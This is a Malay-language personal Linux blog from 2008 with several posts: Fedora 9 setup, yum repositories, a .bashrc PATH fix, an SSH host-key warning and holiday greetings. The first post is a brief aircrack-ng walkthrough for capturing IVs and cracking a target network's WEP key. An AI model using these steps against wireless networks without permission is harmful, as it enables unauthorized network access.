Wednesday, October 29, 2008

Cracking WEP key's

Salam,
Saja ja tulis supaya tak lupa (**DISCLAIMER : hanya untuk pembelajaran)

Install aircrack-ng

*debian base distro(ubuntu, mepis..bla bla bla..)
sudo apt-get install aircrack-ng

*RH base distro (CentOS, Fedora..blabla..)
yum install aircarack-ng


Pastu mulakan aircrack-ng dan bair ia search wlan network

sudo airodump-ng wlan0

kemudian pilih "channel" untuk dump IV's
(contoh disini kita gunakan channel 11... kalau detect channel ntv9 pon bole..ehehe)

sudo airodump-ng -c 11 -w dump wlan0

tunggu sampai ia collect 500K IV's

sudo aircrack-ng -b 0a:0b:0c:0d:0e:0f dump-01.cap

NOTE: The MAC after the -b option is the BSSID of the target and dump-01.cap the file containing the captured packets.

Tunggu.. walla..

Settle... muahh..hehe

Tuesday, October 28, 2008

Tadaaaaa !!.................

Saja ja..testing..hehe

p4dawan@my-GG:~/Desktop/rtpbreak-1.3a/src$ ssh 192.168.1.101
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
22:6d:d3:1d:e0:59:65:19:78:37:bb:79:7e:be:6e:51.
Please contact your system administrator.
Add correct host key in /home/p4dawan/.ssh/known_hosts to get rid of this message.
Offending key in /home/p4dawan/.ssh/known_hosts:1
RSA host key for 192.168.1.101 has changed and you have requested strict checking.
Host key verification failed.

Wednesday, October 15, 2008

installing yum-fastestmirror....

Alatan/perisian tambahan yang digunakan untuk memilih "repository" yang terdekat dan terpantas dari senarai "mirror". Atau dalam bahasa jawanya ..
yum plugin which chooses fastest repository from a mirror list.

cara nak install
[p4dawan@localhost ~]$ yum install yum-fastestmirror


kemudian, buangkan semua "cache" yang mengandungi versi yang lama (/var/cache/yum)
[p4dawan@localhost ~]$ yum clean install


Pilih repositories
[p4dawan@localhost ~]$ rpm -Uhv ftp://download.fedora.redhat.com/pub/fedora/linux/releases/9/Everything/i386/os/Packages/fedora-release-*.noarch.rpm


tambah satu lg repo (livna) - repo nih stim skit..hehe
[p4dawan@localhost ~]$ wget -c http://rpm.livna.org/livna-release-9.rpm

[p4dawan@localhost ~]$ rpm -Uvh livna-release-9.rpm


periksa repositories pada "/etc/yum.repos.d/*.repo" pastikan fail berakhir dengan .repo dan bukannya .repo.rpmnew. Jika ini terjadi..namakan fail *.repo.rpmnew ke *.repo sahaja.

Ok.. selesai..
Masa untuk menaiktaraf..huhu.."upgade" la tuhh..
lakukan diluar GUI.(graphic user interface)

tekan Ctrl + alt + f1
login as root dan jalankan runlevel 3
telinit 3

jalankan proses naik taraf (upgrade) dengan menjalankan command seperti dibawah..
[root@localhost ~]$ yum upgrade


SELESAI.....

$PATH not declare on .bashrc

Salam,
Dah dua hari aku berjaya install Fedora 9 kedalam notebook baru aku..
harini aku cuba utk main2 dengan terminal.. tetapi keputusannya seperti berikut...hmmmm.

[p4dawan@localhost ~]$ ifconfig
bash: ifconfig: command not found


uik??? kat mana plak command nih..heh?

[p4dawan@localhost ~]$ locate ifconfig
/sbin/ifconfig


owh..need to run "/sbin/ifconfig" heh?

tetapi command hanya berjalan setelah menjalankan command "/sbin/ifconfig"
[p4dawan@localhost ~]$ /sbin/ifconfig
eth0 Link encap:Ethernet HWaddr 00:XX:XX:XX:XX:XX
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:17


jadi, untuk menjalankannya arahan seperti biasa aku terpaksa mengubah file ".bashrc" pada /root dan juga /home/p4dawan (/home/)
[root@localhost p4dawan]# ls -al /home/p4dawan | grep .bashrc
-rw-r--r-- 1 p4dawan p4dawan 125 2008-10-15 18:37 .bashrc
[root@localhost p4dawan]# ls -al /root | grep .bashrc
-rw-r--r-- 1 root root 176 2008-10-15 18:40 .bashrc


OK.. sekarang kita tengok kandungan pada .bashrc pada lokasi /home/p4dawan
[p4dawan@localhost ~]$ cat .bashrc
# .bashrc


# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi

# User specific aliases and functions


tengok pula .bashrc pada lokasi /root
[root@localhost p4dawan]# cat /root/.bashrc
# .bashrc

# User specific aliases and functions

alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'

# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi


Kemudian tambahkan
PATH="/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/usr/local/sbin:/usr/local/bin

dan
export PATH


pada kedua-dua fail .bashrc (pada lokasi /root dan /home/ )
jadikan seperti dibawah.
[p4dawan@localhost ~]$ cat .bashrc
# .bashrc
#tambahan
PATH="/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/usr/local/sbin:/usr/local/bin"
export PATH
#tambahan tamat
# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi

# User specific aliases and functions


kemudian buka console/terminal baru dan cuba
[p4dawan@localhost ~]$ ifconfig
eth0 Link encap:Ethernet HWaddr xx:xx:xx:xx:xx:xx
UP BROADCAST MULTICAST MTU:1500 Metric:1


WALLLAAA, tak payah susah-susah taip /sbin/ifconfig lagi..huhu!!!! berjaya..

credit to sifoo mambang from mambang.org.my

Resignation..heh?


**gambar diatas hanyalah untuk perhiasan..hehe

Susahnya nak buat keputusan..adeh!!!

Monday, October 13, 2008

Fedora 9.


Salam,
hari ini aku berkesempatan untuk meng"install" Fedora 9 kedalam laptop/notebook yg aku baru beli..iaitu dell latitude d830.
anda boleh lihat "output" dmesg disini [dmesg]

Fedora 9 r0x!!!! / all linux distro's r0x!!!!..
Harini juga saya akan membuat satu lg label khas utk fedora.
Terima Kasih.. Happy learning & happy hacking.

Selamat Hari Raya Aidilfitri...

Salam,
Selamat Hari Raya adilfitri (dah hari ke-13)..hehe.
Disini aku ingin menyusun sepuluh jari tangan (kalau jari kaki tuh..faham2 ja la..heheh)
ingin memohon maaf jika terdapat sebarang kesilapan samada kecil atau besar yang disedari ataupun tidak..yang baik itu datangnya dari Allah subhanahuwata'ala dan yang buruk itu datangnya dari kesalahan diri saya ...(skali macam caramah daaaa...hehe)

"SELAMAT HARI RAYA AIDILFITRI.. MAAF ZAHIR BATIN.."